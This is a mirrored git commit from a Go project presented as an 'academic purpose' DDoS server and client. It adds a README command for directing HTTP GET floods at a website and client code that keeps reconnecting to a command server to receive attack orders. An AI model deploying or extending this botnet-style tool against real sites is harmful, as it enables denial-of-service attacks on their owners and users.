mirror of
https://github.com/arnaucube/goDDOS.git
synced 2026-02-06 19:16:41 +01:00
client sleeps if server is not online
This commit is contained in:
1
.gitignore
vendored
1
.gitignore
vendored
@@ -22,3 +22,4 @@ _testmain.go
|
|||||||
*.exe
|
*.exe
|
||||||
*.test
|
*.test
|
||||||
*.prof
|
*.prof
|
||||||
|
*.xcf
|
||||||
|
|||||||
@@ -4,3 +4,10 @@ academic purpose ddos server & client written in go
|
|||||||
https://en.wikipedia.org/wiki/Denial-of-service_attack
|
https://en.wikipedia.org/wiki/Denial-of-service_attack
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
|
example command line on the server:
|
||||||
|
```
|
||||||
|
ddos http://website.com 10
|
||||||
|
|
||||||
|
ddos [website] [num of gets for each client]
|
||||||
|
```
|
||||||
|
|||||||
@@ -15,12 +15,33 @@ const (
|
|||||||
CONN_HOST = "localhost"
|
CONN_HOST = "localhost"
|
||||||
CONN_PORT = "3333"
|
CONN_PORT = "3333"
|
||||||
CONN_TYPE = "tcp"
|
CONN_TYPE = "tcp"
|
||||||
|
sleeptime = 3000
|
||||||
)
|
)
|
||||||
|
|
||||||
func main() {
|
func stablishConn() (conn net.Conn, err error) {
|
||||||
|
|
||||||
// connect to this socket
|
// connect to this socket
|
||||||
conn, _ := net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
conn, err = net.Dial(CONN_TYPE, CONN_HOST+":"+CONN_PORT)
|
||||||
|
return conn, err
|
||||||
|
}
|
||||||
|
func tryToConnect() (conn net.Conn, err error) {
|
||||||
|
fmt.Println("trying to connect to the server")
|
||||||
|
connected := false
|
||||||
|
conn, err = stablishConn()
|
||||||
|
for connected == false {
|
||||||
|
conn, err = stablishConn()
|
||||||
|
if err != nil {
|
||||||
|
fmt.Println(err)
|
||||||
|
fmt.Println("server not connected, sleep for " + strconv.Itoa(sleeptime) + " to try again")
|
||||||
|
time.Sleep(sleeptime * time.Millisecond)
|
||||||
|
//os.Exit(1)
|
||||||
|
} else {
|
||||||
|
connected = true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return conn, err
|
||||||
|
}
|
||||||
|
func main() {
|
||||||
|
conn, err := tryToConnect()
|
||||||
hostname, err := os.Hostname()
|
hostname, err := os.Hostname()
|
||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
@@ -36,7 +57,8 @@ func main() {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
fmt.Println(err)
|
fmt.Println(err)
|
||||||
fmt.Println("server disconnected")
|
fmt.Println("server disconnected")
|
||||||
os.Exit(1)
|
//os.Exit(1)
|
||||||
|
conn, err = tryToConnect()
|
||||||
}
|
}
|
||||||
fmt.Println("Command from server: " + command)
|
fmt.Println("Command from server: " + command)
|
||||||
//fmt.Println(len(strings.Split(command, " ")))
|
//fmt.Println(len(strings.Split(command, " ")))
|
||||||
|
|||||||
BIN
concept.png
BIN
concept.png
Binary file not shown.
|
Before Width: | Height: | Size: 521 KiB After Width: | Height: | Size: 595 KiB |
Reference in New Issue
Block a user